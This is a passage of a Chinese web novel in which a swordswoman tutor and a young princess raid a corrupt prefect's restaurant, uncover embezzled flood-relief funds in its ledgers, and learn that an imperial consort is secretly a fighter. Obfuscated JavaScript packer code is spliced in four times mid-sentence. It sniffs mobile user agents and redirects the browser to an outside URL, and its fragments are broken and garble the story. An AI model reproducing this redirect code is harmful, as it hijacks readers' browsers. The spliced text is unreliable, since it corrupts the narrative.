“姑娘,”她在和池千鲤说话,“你这疤是怎么了?要不要紧?我这儿有一盒止痛药呢。” 池千鲤怔了一下,摸摸脸上的伤痕:“没事老板,都是很久以前的伤了,早就不疼了。” 老板心疼道:“还很久以前,看你也就和我女儿一般大,怎么就受了这么严重的伤呢?” 池千鲤笑笑,心道我应该比您女儿大多了,还没说几句话安慰大娘,身边的两个小公主就你一句我一句叽里呱啦帮她解释起来了。 “老板,我也问过她一样的话,”金玉泠义正词严道,“结果您猜她回我什么?” 老板十分捧场:“什么?” 金玉泠清清嗓子,刚要说话,金玉满抢先插嘴道:“她说呀,我们学武之人的伤痕是勋章,哪个练家子还没几道疤的呢?” 众人友善地笑作一团,只有两姐妹因为互相抢了话,又龇牙咧嘴地掐起架来。 “原来是练家子,”老板和善地笑,“不过还是要保护好自己,这么小的孩子,回家去父母也看着心疼呢。” 池千鲤淡淡一笑,没有说自己父母已经不在世许久了。 出了元宵店,天还亮着,小姑娘们叽叽哇哇地讨论着要去哪里玩。最后还是金玉满靠自己的嗅觉带头,把整条街上的特产美食都吃了个遍,金玉泠还一直怂恿池千鲤一起吃。 “今儿这人真多。”金玉满从人堆里挤出来,不由得埋怨道。 边上卖梅花糕的姑娘听闻这话,抬起头来瞧了瞧几人,随后笑道:“几位姑娘不是这金陵本地人吧?” 金玉泠这次抢金玉满的话:“我们是从明京城里来的!” “原来是京城人啊,怪不得不清楚。”梅花姑娘惊讶,朝五人解释,“今儿十一月十五,每月初一十五,我们金陵城里白天赶集,晚上夜市呢。” “晚上有夜市?”金玉泠眼睛一下子就放光了,“那我们可得来看看!” 左相家的姑娘楚清乐有些犹豫:“大晚上还在外面逛好吗?” “这有什么不好的。”金玉满满不在乎道,“大街上人多的是,我们这么大一群人,还能走丢或是跑了不成?要是你爹娘不同意,我去跟他们说!” 金玉满最要好的朋友就是楚清乐,这次听闻她爹跟着一起下江南,居然偷偷翻墙出宫跑去左相府,三令五申让他带他大女儿一起去,导致左相叫苦不迭。最后被知道这件事的明齐帝教训了一顿,不过还是如愿以偿了。 虽然这两人一个恪守礼节规规矩矩,一个像野人一样满京城乱跑,不过居然意外地是非常好的朋友。关于这一点,池千鲤也是百思不得其解,只能归结于命运缘分。 齐国公幼女裴婉仪一副臭脸,被金玉泠嬉皮笑脸地磨了好久,才答应一起来。 最后,四人把目光齐齐投向池千鲤。 池千鲤与四小只对视许久,最终妥协地叹了一口气:“好吧,我也来。” ———— 金陵城区的夜晚与京城也是大相径庭,灯红酒绿,纸醉金迷。河上划着大大小小的船只,酒楼上偶尔传来富家公子们的大笑声和口哨声,像是一切贫穷和严寒都进入不了这个铜墙铁壁一般的城池一样。 不得不说,夜市相比白天的集市,花样确实多了不少。大大小小的地摊在角落里开张,有画画的,写字的,算命的。其中一个算命的神神叨叨,还真的唬到了金玉泠,非得算上一卦不可,被池千鲤以自己有一个更会算命的朋友为由拎回来了,不过条件是她要见见池千鲤那朋友。 我现在自己都找不到那朋友,池千鲤暗自腹诽道。 不过看到某一个地摊的时候,池千鲤也走不动道儿了。 卖剑穗的! 试问哪个剑修看到卖剑穗的摊子,能不心动呢?即使是曾经的剑修,也完全没能幸免。 于是四小只眼睁睁地看着池千鲤两眼冒出金光,居然拿着一串青色的剑穗,和老板讨价还价起来。 那老板是个老头儿,大声讲起话来吐唾沫星子,不过池千鲤也不甘示弱,声音越抬越高。最后老板甘拜下风,挥挥手把原本卖五十文的剑穗用一半的价格卖给了池千鲤。 池千鲤心满意足地付了钱。 一转头,看到四小只一言难尽的目光。 发现自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412412|200702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己人设崩塌的池千鲤:“……” “哇哦。”金玉泠大为震惊,“你讨价还价的本事可真厉害。” “啧啧啧啧啧。”金玉满发出夸张的语气词,“没想到鱼鱼是这样的人呢!” 楚清乐经过一天的相处,也跟池千鲤熟了,大着胆子跟着说:“平时可完全看不出来。” 裴婉仪则冷着脸一针见血:“你好穷。” 池千鲤一言不发地往前走,决定今天晚上再也不理任何一个人。 四小只完全没害怕,嬉皮笑脸地撵在池千鲤后头,叽叽喳喳地逗池千鲤说话。 “我从来没见过你用剑哎。”金玉泠突然说,“你的剑呢?” 池千鲤一怔,她的剑…… “丢了。”池千鲤回了一句。 “丢了?”四小只异口同声。 金玉满不可置信地来了一句:“剑都能丢?” 然而池千鲤没有再说话了。 孩子们等不到池千鲤回话,便也不再纠结于这个问题,吵吵闹闹乱哄哄地讨论起好吃的好玩的来。 “嗵——” 前方突然传来一声巨响,把四人吓了一跳,就连池千鲤也抬起头来,大街上的行人纷纷注目。 这是看上去物价就不菲的一座酒楼,高大豪华,极尽奢靡。然而此刻,里头的店小二正把一个乞丐踢出来,破口大骂:“哪儿来的小乞丐!脏了我们香玉楼的地,你赔得起吗!” 那小乞丐看上去只有十三四岁,长得很高,但有些瘦,被踢出来就默默地缩在角落。 旁边有好心的路人大姐不满道:“你怎么说话呢?人家小孩儿身上也没有特别脏,怎么就要赔你们了?” 确实,那孩子低着头,看不清表情,身上衣服也有些陈旧了,但很干净,不像是邋里邋遢的样子。 然而那狗仗人势的店小二可不管那么多,反而更嚣张起来,仰着鼻子居高临下道:“你要是还知道这香玉楼是谁开的,就给我闭嘴!” 大姐还要再骂,边上有人拉了她,咬了几句耳朵,那大姐一惊,立刻就不说话了。 金玉泠从刚才开始脸上的笑容就在慢慢消失,此刻整张脸完全冷下来,眼看着那店小二进去,冷笑了一声,意味不明地将这酒楼名字在嘴里嚼了一遍:“香玉楼?” 金玉泠平时嘻嘻哈哈的不着调,眼下一冷脸,居然没人敢接她话。 “走吧。”金玉泠往后一招手,“我们去看看那孩子,顺便回去之后,让父皇查一查。” 她眼神暗了暗:“我倒是真的很好奇,这香玉楼是谁开的呢。” 她脚一抬,后面三人忙不迭跟上,池千鲤没动,不过她的眼神也跟随着那个小乞丐。 四人都团团围上去关心了,那小乞丐一动,被围在中间,目光却准确无误地投向了远处的池千鲤。 她虽然衣裳干净,但脸黑乎乎的一团糟,根本看不清长什么样。一般人看到,只会以为这乞儿很久没洗澡,然而池千鲤不这么认为。 在小乞丐幽深的注视下,池千鲤眉头一挑,居然笑了,她轻轻抬起自己的手,点了点虎口。 小乞丐呼吸一滞,下意识地握拳,藏好了虎口处的茧。 15. 深宫客难掩江湖气 不知为何,那小孩儿没待一会儿,就不安又焦躁地离开了,临走前还朝她们五个人望了一眼。 “咦?”金玉满挠挠头,拿着自己本来想塞给对方的碎银子,不知所措道,“她怎么了?看上去很害怕我们啊。” “难不成她以为我们要找她麻烦?”裴婉仪冷冷地皱眉。 “真是奇怪,不过这孩子也真是可怜。”楚清乐同情道。 金玉泠则罕见地什么都没说,而是偏头看了一眼池千鲤,后者无辜地眨眨眼,举起双手示意自己什么都没干。 “罢了,走吧。”金玉泠收回目光,“我们回去,我还要跟父皇说说这事儿呢。” 几位姑娘跟在金玉泠后面,一个个义愤填膺地走了。 客栈。 “你确定不要我们陪着了?”金玉满不确定道。 “当然当然。”金玉泠嬉皮笑脸地赶着另外三人,并且开始讲道理,“你想啊,婉仪和清乐的父亲本来就不是特别同意她们在外面逗留到这么晚。父皇知道这么大的事,那肯定是要和裴大人楚大人商议的,两位大人这要是一听说还惹上麻烦了,那她俩以后还能不能出来了?” 楚清乐缩了缩脖子,裴婉仪则冷眼看着金玉泠胡扯。 “那我呢?”金玉满想想有道理,但还是不服气道,“父皇母后都很同意我们出去玩啊,为什么不让我跟着你去说这事儿?” 对着金玉满狐疑的目光,金玉泠丝毫不慌,义正词严地解释道:“你看,这么大一滩事,父皇要是罚了金陵府知府,他听说这是我们告的状,要是寻仇下来怎么办?你能应付不?姐姐这还不都是为了你好!” “难道你就能应付?” “我这不是有鱼鱼吗?” 池千鲤嘴角抽了抽。 方才走在路上,这些人小鬼大的小孩已经打听出来这酒楼的主人,正是金陵府的知府。回到客栈,其余三个拉着金玉泠就要一起告状去,没想到金玉泠说她自己去就成了,金玉满不同意,这才有了上面一幕。 金玉泠这么一通好说歹说,总算是让金玉满勉强赞同了她的观点,不过仍是很不乐意,臊眉搭眼地与其余两人回自己的房间了,临走前还很不甘心地瞅了金玉泠和池千鲤一眼。 房门锁上的一瞬间,金玉泠立刻放下挥着的手,把池千鲤赶进自己房间:“快快快,我们换了衣服赶紧去香玉楼!” 池千鲤瞥了临时变卦的她一眼,面上没有特别意外:“不告诉你父皇?” “什么告诉父皇!”金玉泠瞪她一眼,“我那都是哄哄老三这个小孩子的!父皇会管这种鸡毛蒜皮的小事?就算管,也就是把金陵府知府口头教训一番,能有什么实际的?” 池千鲤眼角一跳,一个十几岁的小朋友和一个十岁的小朋友,其实在她眼里都是幼崽。看一个幼崽喊另一个幼崽小孩子,听起来总怪怪的。 “不如我和你悄悄潜进去,今晚闹他个鸡犬不宁!” 池千鲤笑笑。 不错呀,这位二公主还是很有脑子的。 的确,明齐帝不会管这些小事的。大人嘛,总是要权衡利弊的,针对官员开的饭店中的员工品行不端这点,最大的惩罚也就是把店小二裁了。毕竟金陵这种大城,鱼龙混杂,大州府中的官员背后牵扯的利益太多,他要考虑的事情也太多,牵一发而动全身,所以只要手底下的人不出大错,总是高高拿起轻轻放下的。 然而怀着满腔热血的少年是不会这么想的。 她们尚未被生活磨平棱角,尚未学会如何圆滑地处世,所以会去与高位者针锋对决。 于是头破血流的总是少年,替天行道的也总是少年。 池千鲤现在也成了无趣的大人,但她并不反感炽热的少年。 毕竟她也曾是这样的少年。 所以当金玉泠把期待的目光投向她时,她毫不犹豫地说—— “出发。” 于是金玉泠和池千鲤换了两身看起来就金光闪闪价格不菲的衣服,偷偷地从客栈的角门出发了。 却没注意到,在路过回廊的时候,有一扇房门悄悄地开了一道微不可查的缝隙。 ———— 池千鲤默默地扯扯自己身上的衣服。 由于是微服出巡的原因,四位小姐本来外出都穿得很普通,乍一眼看上去虽不说像平头百姓,却也实在算不上什么有钱人家的。回去换衣服时,金玉泠特地拿了一身看上去就像两个暴发户出来挥霍的衣服,连裙摆上的凤尾羽都是用了红金双线,请了苏州府的绣娘绣成的。 不过轮到池千鲤时,她一打开衣箱,全是清一色的素白。金玉泠沉默了一下,最终从自己的衣箱里找出来一件大一些的贵气衣服。 金玉泠注意到她的小动作,安慰道:“不好意思啊,你那些衣服看起来都好穷,没准靠近了那什么楼就被撵出来了。只能让你穿我的衣服了,可是好像太小了。” 穷人池千鲤:“……” 其实我不穷,只不过我的俸禄都是冥币。 说话间,两人已经到了香玉楼门口。 金玉泠带着池千鲤趾高气昂大摇大摆地走进大门,店小二们一个个都很会看人下菜碟,一个都没拦,嬉皮笑脸地争着抢着带池千鲤二人上二楼雅座。 还有个机灵的小二已经唧唧呱呱地搭上讪了:“二位客官看着真是面生,是其他地方来的客人吧?” 金玉泠重重地哼了一声:“我们是从京城来的!” 小二十分夸张地捂住了嘴:“原来是京城来的客人!两位这边雅座上请!” 金玉泠得意洋洋地尾随而去,还朝池千鲤挤挤眼睛。 池千鲤简直没眼看,她觉得要是少年时的自己碰上金玉泠这种欠欠的人,没一拳挥上去都算好的了。 不一会儿,两人就被带到了最里间的包厢里。 池千鲤微微偏过头去,极快地观察了一下整间酒楼的布局。 酒楼二楼和三楼的中间是挖空的,围了一圈栅栏,客人从此处可以看到一楼的景况。一楼中心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412413|200702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一个小小的戏台,想必是与歌舞团合作,请人来表演。池千鲤上下一扫,一楼多是大厅散座,坐的是三三两两的散客;二楼是雅座和包厢;三楼只有包厢,池千鲤在京城酒楼看过这规矩,提前预定都不行,是供给东家及其贵客的。 池千鲤偏头回来,恰巧与金玉泠对视一眼,而对方也用下巴点了点三楼的方向。 池千鲤心下明了,于是冷声向小二发难:“为何不带我们去三楼?” 店小二一愣,为难道:“小姐,三楼只给我们东家……” “只给东家?”池千鲤冷笑一声,一拍桌子站起来,胡搅蛮缠道,“在我们京城可没这规矩!你们东家还想不想做生意了?” 小二似乎也后知后觉地意识到这两位姑娘是来找事的,脸色沉下去。 池千鲤趁机又挑刺:“你这是什么表情?你们江南人看不起我们从京城来的不成?!” 这么一说,她觉得到时机了,一掀桌子,哐啷一声,四座皆惊。沉寂片刻,正当大家以为没事时,二楼的木栅栏砰地一声碎裂,一个重物掉落在一张桌上,坐那桌的是个男子,定睛一看,居然是好大一个人,穿着香玉楼店小二的衣服,昏死在他桌上。 那男子都没来得及看小二是死是活,当即一声惨叫,冲出门外。人群开始骚动起来,胡乱叫着要往大门处挤,二楼的人也惊了,放下碗筷紧随着匆匆下楼,根本没来得及看是哪里发出的异动。 掌柜的和其余小二都跑出来维持秩序,劝导着大家没有事的,可人群根本不听,一哄而散地往外跑,很快香玉楼里的人就跑了个七七八八。 那掌柜的气急败坏,抬头一瞧,只见两位穿着华贵的姑娘倚在二楼围栏处。一个半挑眉头,一个言笑晏晏,甚至与他目光对上时,那个笑着的姑娘还吹了个口哨大笑起来。 他气急败坏,哪还能不明白是这两个少年搞的鬼,当即对后面的小二们喊:“愣着干什么?还不快把她们抓起来!” 后面的手下们方才反应过来,三步并作两步跑上楼梯,摩肩接踵的还踩倒了几个人,又是一阵惨叫。 奇怪的是,那俩姑娘连要跑的意思都没有,优哉游哉地看着一群人像鬼一样张牙舞爪地冲上来,眼看着就要冲到她们眼前了,不笑的姑娘还打了个呵欠,好像很无聊。 掌柜的恼怒之余,有些奇怪。还没等他想透是什么道理,突然,那个不笑的姑娘打完呵欠,拎着另一个姑娘的后脖颈,一拍围栏,居然横空飞了起来! 所有人都看傻了,张着嘴巴一动不动。 会飞的姑娘优雅轻灵地抓住那盏悬挂在天花板正中央的烛火圆吊灯,吊在上面,似笑非笑地睨了他一眼,似乎是挑衅,然后飞起一脚,把灯罩连着火烛踢了半圈下来。被拎着的那个自在悠闲地晃荡一下,与他目光相接时,表情恶劣地比了个中指。 等到火烧到他的衣角,那掌柜的才反应过来,拼命嘶吼:“走水了!救火!快救火!!” 再去看时,那两个姑娘早就没影了。 16. 深宫客难掩江湖气(二) 金玉泠比完中指,又吹了声口哨,转头去问池千鲤:“怎么样,好不好玩儿?” 她也没指望池千鲤会回应,大概率就是像以往一样,冷冷瞥她一眼,再教训她下不为例,回去要好好读书,无趣得很,但逗起来很有趣。 池千鲤一边跳跃于各个掩体间,一边不由自主地回答:“嗯,好玩。” 这下轮到金玉泠震惊了:“啊?” “好玩。”池千鲤突然笑起来,那是金玉泠从没想过能在这个古板家伙脸上看到的笑,带点桀骜不驯的意气,颇似书中所言今朝有酒今朝醉的洒脱模样。 她大笑起来,扬手顺走不知哪张桌上遗留的酒坛,单手拎坛灌下几口,听着下面阵阵惊呼:“好玩儿!” 飞鹰一样的速度带起狂风,吹乱了金玉泠规规矩矩的发髻。她愣了片刻,随之也哈哈大笑起来,笑得肆意又张扬。 “走!”金玉泠一拍池千鲤,“去三楼!” 三楼。 落地时,池千鲤的脸色有些潮红,兴许是喝了几口酒的原因。金玉泠今天兴致很高,学着话本子上看到的模样,一脚踹上最近的那扇门,企图破门而入。 门没开。金玉泠又踹了几次,把门踹得砰砰响,还是没开。 池千鲤沉默了一下,把门往侧边一拉,门开了。 金玉泠:“……” 小公主咳了两声,假装忘记刚刚的一切:“进去吧。” 池千鲤默契地没有说什么,跟着走进门。 池千鲤的落点很有目的,是三楼最大、最中央的一间房间。一般这里都作为记账处,是掌柜的向东家汇报开支收入的地方,账目来往在这里也会有一份备案。几乎是落脚的一瞬间,金玉泠就明白了池千鲤想干什么。 “你想查账目哦?”金玉泠靠在门边,饶有兴趣地问。 “准确地说,”池千鲤翻了几个箱柜,成功找到了记账的本子,无情地说,“是让你查,这算你这学期结束的期末大测。” 说完,她很满意地看到金玉泠笑容一下子消失。 就知道哪有那么好的事!池千鲤这个家伙没安好心! 金玉泠愤愤地接过本子,哀怨地看了池千鲤一眼。 不过看着看着,她的表情凝重起来。 池千鲤一直观察着她的表情。 “账目不对,”上上下下确认了许久,金玉泠合上账目,闭着眼睛呼出一口气,“今年七月、八月、九月,这三个月的账目往来数额太巨大,完全超过了一个酒楼的正常需求,尤其是收入这一块。” 她点点记录总收入的部分:“这个数字大得完全不正常。” “没错。”池千鲤赞成道,“那么你认为是什么造就了这笔天价巨款?” 金玉泠皱着眉头陷入了思索,咬着自己的手指,嘴里念念有词:“七八九……夏天……涝灾……赈灾款?” 金玉泠惊得一下子跳起来:“他贪污了救济款?!” “很聪明嘛,”池千鲤又恢复了那副喜怒不形于色的淡淡模样,好像方才她所露出的另一面全是金玉泠的错觉。 不过她现在可管不上什么错觉不错觉的了,整个人惊得下巴都快掉地上了:“你是说,父皇拨的赈灾款和救济粮,都被他吞了?” “也不一定都是他,”池千鲤耸耸肩,指指这个数字,“这个数字对于一家酒楼来说虽大,对整个江南来说还是太小了,说不定还有其他人和他一起吞了,可以查查江南和他来往密切的官员。再者,他名下还有其他资产,可以一并查了。” 金玉泠自从算出来之后,就一直在翻那本册子,越翻越心惊:“他一个人就吞了这么多?!那其他的官员加起来呢?” 她没有问她最害怕、最不愿面对的那个问题,但是池千鲤知道她心里该是明白的。 今年这些钱粮,去年那些钱粮,曾经拨下来的那些钱粮,江南的百姓到底拿到手里多少? 又或者说,他们有人拿到了吗? 开始的惊讶褪去,金玉泠的心中慢慢涌起一团怒火,层层叠叠,像楼下的大火一样燃烧不息。她冷笑数声,最后也只能重复:“好啊,好啊!” 池千鲤站在一边沉默很久,最后她轻声说:“之前的事你父皇不管,那现在呢?” 金玉泠怔怔地看着池千鲤。她脸上突然泛上一层灼热,不知道为什么开始羞愧起来。 她突然后知后觉地意识到,原来只有受害者的群体扩张到足够大,大到激起足够的声势,大到动摇皇家的统治,他们才会虚与委蛇地有所作为。 否则他们只会多一事不如少一事,偃旗息鼓地粉饰太平。 她的肩膀慢慢无力地垂下去,眼神逐渐失望地黯淡下去。 池千鲤走过来,拍拍金玉泠的肩,少年正是长身体的时候,在这半年间长高了不少,如今已经过了她的肩头。 “所以今天,知道我们要学什么了吗?”池千鲤的声音温和下来。 金玉泠想了想,最终斟酌着说:“一个人的痛苦和一群人的痛苦是等价的?” “你能意识到这一点很不错。”池千鲤点点头,“不过还有一点。” “还有一点?”金玉泠疑惑道。 “嗯,”池千鲤平视着金玉泠,“要懂得从细枝末节中发现事情的真相。” “还记得我们在路上时,碰见的刺客吗?” 金玉泠不解:“记得,但和那有什么关系?” 池千鲤摇摇头:“你觉得他们像是被人雇佣,来刺杀你们的刺客吗?就四个人?他们的首领甚至我两拳就能打趴下。” 她没说的是,甚至那四个人里最小的那两个,看身形还没有成年。 “难道不是?”金玉泠惊讶道,“可如果不是受雇佣,那还能是什么呢?莫非他们自己想来刺杀我们?我们和他们又没有仇……” 她的话音戛然而止。 “没错,你猜对了。”池千鲤歪头,“他们也许只是江南平民人家的儿女。” 金玉泠的眼睛越睁越大。 “或许因为他们的亲人拿不到赈灾粮,都活不下去了吧。”池千鲤遗憾地说,“他们看上去武功不精,但肯定学过一些。横竖都是一个死,倒不如凑几个学武的年轻人拼死一搏。” 金玉泠沉默了许久,池千鲤也没有说话,就在一旁静静地等着。 “走,”最后她说,“我们回去,把这本账目交给父皇。” 池千鲤微微一笑,“好”字还没说出口,眼神忽然一凛,拎起金玉泠飞身一个纵跃吊到房梁上。与此同时,数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412414|200702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道箭影凌空划过,没有丝毫偏差地钉死在她刚刚站的地方。 金玉泠大惊:“怎么回事!” “暗卫。”池千鲤明显也没想到。 金玉泠大怒:“那个金陵知府还敢私养暗卫?!你打得过吗?” “我?”池千鲤失笑,随即眸色一暗,嘴边勾起一抹冷笑,“这种的我一个打百。” 说罢,把右手的金玉泠一甩,改拎为搂,脚一点地,突然暴起,飞檐走壁般翻身上瓦。 房顶上的暗卫很明显没想到一个奇怪的白影突然窜出来,俱是一惊,还没等反应过来,只见一道白光闪过,砰砰两下,五六个同伴便被放倒。 池千鲤抛着手中随手撬的瓦片淡然自若地继续飞速游走,但金玉泠就不一样了,她第一次真正意义上看池千鲤打架,此刻整个人神经紧绷,尤为激动,大呼一声:“好球!” 池千鲤:“……这是瓦片,不是球。” 金玉泠迅速改口:“好瓦!” 池千鲤无声地笑了笑。 说话间,池千鲤又放倒了几个暗卫,来的人不多,也就十几个。池千鲤并没有放开自己封锁的仙力,那样当然更快,但如果放开了打,难保余波不会震到这位手无缚鸡之力的小公主。 把她伤到就不好了。 正要冲向最后两名暗卫的时候,这俩似乎注意到了什么,攻击的方向一变,往池千鲤身后攻去。 池千鲤和金玉泠俱是一怔,下意识地往身后看去。暗卫的攻击方式与她们不同,他们负责清剿所有对主子有威胁的外来者,能杀一个是一个。 后面来了人? 是谁? 待两人看清来人时,边说金玉泠,就连池千鲤都想敲敲自己看是不是脑子短路出现幻觉了。 凌贵妃? 只见那个华服女子偷偷摸摸地躲在一棵枯掉的梧桐树后,似乎是在看池千鲤打架。她自以为躲得很小心,然而在池千鲤这等高手的眼中却满是破绽。那身形,那动作,不是凌贵妃又是谁? 而此刻,两只离弦之箭正以不可抵挡之势射向她的要害! 金玉泠急声大叫:“贵妃娘娘小心!” 来不及了,池千鲤咬牙,先砸晕了面前两个剩余的暗卫,接着转过身,准备解开灵力发动闪现救下凌贵妃。 救人要紧,至于之后若是被贵妃盘问,再另做打算不迟。 就在此时,金玉泠一声惊呼,打断了池千鲤飞快的思考和更快的动作,她激动地拍着池千鲤指着前方,好像看到了什么不可思议的事情。 池千鲤下意识抬头。 只见凌贵妃面上露出一个张狂的笑,反手仅用两指,懒懒夹住第一支箭矢。 那箭矢离弦之势,然而在她手中,却轻轻一拨就停,仿佛本来就是静止不动的一件玩具。 然后,在池千鲤金玉泠二人的注视下,第二支箭以更迅猛的架势紧追而来。 然而她仿佛慢动作一般,只是轻轻一偏头,那箭矢擦着她的发丝而过。不过这还没完—— ——她挑衅一般地咬住了箭身,啪地一声轻响,羽箭断成两半。 随后就着这个仰视的视角,笑眯眯地把两指比在太阳穴上,冲池千鲤二人行了一个双指礼。 一切归于沉寂。 17. 深宫客难掩江湖气(三) 略有惊讶的池千鲤背着呆若木鸡的金玉泠飞身而下,同下面的凌贵妃汇合。 “见过贵妃娘娘。”池千鲤点点头,并没有行礼,她还是不习惯宫里那些繁琐的礼仪,“娘娘如何在此?” 好在凌贵妃也没多在意,她挥挥手,很不要脸地回答:“我跟踪你们过来的。” 池千鲤:“……” 金玉泠:“……” 就直接这么说出来了吗! 这还没完,凌贵妃又眼睛亮亮地看向池千鲤:“鱼姑娘……” 池千鲤无奈打断:“娘娘,我姓池。” “噢,池姑娘,”凌贵妃一脸热切地看向池千鲤,这样那样地比划道,“你能教教我刚刚那一招不?就是唰唰唰!砰!地一声,那些人就倒了。” 随后她严肃起誓道:“你放心,我不会告诉别人的!谁也不说!” 还把手直直地指向天。 “哦,”池千鲤无情地回答,“很不幸,娘娘,我也不会告诉别人的,谁也不说。更不幸的是,现在事情办完了,我要带你们两个回去了。” “哎——”凌贵妃话音未落,池千鲤一手一个,把她和金玉泠小鸡似的拎起来,跃上房顶飞身疾行。 金玉泠虽然也很爱好刺激,但是这么持续的飞行还是有点受不住,默默闭上眼睛以免自己晕池千鲤。但凌贵妃就不一样了,她睁大双眼,显得十分惊喜,被池千鲤拎着一直好奇地左顾右盼,嘴里还发出一声蹩脚的口哨: “呜呜呜呜呜呜——” 吹到一半,她自己都有点不好意思了,挠了挠头自言自语地解释道:“好久没吹了,有点不太会了。” 池千鲤斜望了一眼凌贵妃。 今天的她显得和往日无精打采的她有些不一样,看上去神采奕奕,一双以往脉脉含情的瑞凤眼里散发着池千鲤从未见过的熹微光亮。 有一瞬间,池千鲤甚至觉得不是自己在带着她飞,而是这个女郎本身就是一只轻盈的鸟,张开翅膀,要冲破桎梏飞到天边去。 “你想飞吗?”池千鲤突然大声问,风声呼呼地灌进她的嘴里,带来凌贵妃身上熟悉的那股香气。 那香气较之以往淡了一些,更多的是风声鹤唳的自由气息。 “可以吗?”凌贵妃惊喜地转过头。 池千鲤并未作答,只是提着凌贵妃的那只手食指轻轻一点一绕,她就凭空浮在了空中,随着手脚的动作还会往前漂移。 凌贵妃大为惊叹,手舞足蹈,环望四周,像是很高兴的样子,在原地停留驻足了好久,好像这四周的景色怎么看都看不够。池千鲤一直在旁边静静地看着,时不时给续点灵力确保她不掉下去。 过了很久,她才依依不舍地对池千鲤说:“我们走吧。” 三人继续往前飞了,凌贵妃飞得还有些不熟练,摇摇晃晃的。池千鲤在一边看,时不时加以指点。 这位贵妃很聪明,不过多时,就能飞得和池千鲤一样快了。金玉泠也不再捂着眼睛,而是好奇地望着两人飞行,但当池千鲤问她要不要尝试一下的时候,她立刻摇头抓着池千鲤的袖子拒绝。 好吧,有些人天生不适合飞。 三人落地回到客栈时,已是丑时了。 “好了,”池千鲤板着脸,撤走了凌贵妃身上的灵力,轰着二人进去,“你们两个该回去睡觉了。” 半晌没听见那位小公主的回答,低头一看,金玉泠已经抓着她手呼呼睡着了,账本倒是还紧紧捂在怀里生怕掉了。 池千鲤无奈地摇了摇头,反手打横抱起金玉泠,打算直接把小公主放床上,明天晚点叫醒她。就在这时,身后的凌贵妃又开口:“池姑娘。” “嗯?”池千鲤闻言回首,“贵妃娘娘也要我亲自送?” “没有没有,”凌贵妃摆摆手,大笑一声,“我怎么会让小辈送我呢?” 我可不是小辈。池千鲤暗自反驳,却又听眼前之人开口:“今日真是谢谢池姑娘了。” 池千鲤轻哼一声,为表示自己辈分不小,不服气地改了个称呼:“不用谢,凌小姐。” 这话一出口,池千鲤突然觉得面前的凌贵妃神色有了些微的变化。她面色突然红润起来了,眼睛里刚刚黯淡一些的光又升腾出来,脸上挂着情真意切的笑,显得出乎意外地高兴。 “池姑娘——”最后她挥挥手,在走廊的楼梯口,昏暗的灯光下,转身向池千鲤致意。 那一瞬间,池千鲤觉得她好像完完全全变成了另外一个人。 她露出一个潇洒张扬的微笑,她的头饰有些歪了,斜斜地插在鬓边欲掉未掉,明明风尘仆仆,远不像池千鲤第一次见到她时那么风华绝代,但却明媚得让人想哭。 “记好了,我叫凌云意。” 一阵熟悉的香风吹过,池千鲤眨了眨眼,它的主人已经不见了。 ———— 池千鲤是被一声大叫给闹醒的。 “啊啊啊啊啊啊啊!” 听着金玉泠的嚎叫,池千鲤揉揉眼睛,踢开毯子,从铺盖卷上坐起来,好似没招一般任劳任怨地问了一句:“又怎么了我的小公主?” “你还说呢!”金玉泠一头钻进衣柜里,一边挑衣服一边抱怨道,“你怎么不叫我起来呀!都已经巳时末了!” “你昨天晚上不是睡得晚嘛,”池千鲤解释道,“我想让你多睡一会儿嘛,今天的课业给你减半。” “不是课业的问题!”金玉泠急得跳脚,不过片刻却又显得欢快起来,“我们要赶在那帮大臣来之前把这本账目给父皇呢!” “好好好,”池千鲤敷衍着,不过还是提醒了她一句,“来之前是来不及了,那帮大臣快走了,你可以赶在他们走后给你父皇。” “哼。”金玉泠白了她一眼。不过旋即,她感到有些奇怪,今天的池千鲤好像和平时……不太一样了? 似乎……变活泼了一些?她今天心情很好吗? 不过没时间管那么多了,金玉泠没有继续胡思乱想,兴冲冲地冲了出去,奔向明齐帝的房间。 明齐三十三年十一月,帝携大皇子、二公主、三公主下江南微服私巡,途经金陵府,逗留半月有余。期间,彻查金陵府知府魏之远、江南总督宁远林、江南巡抚步清等十三名官员贪赃枉法之案,贪污银两竟达三百万两有余,令人发指,其心可诛。令三日之内查抄家产, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 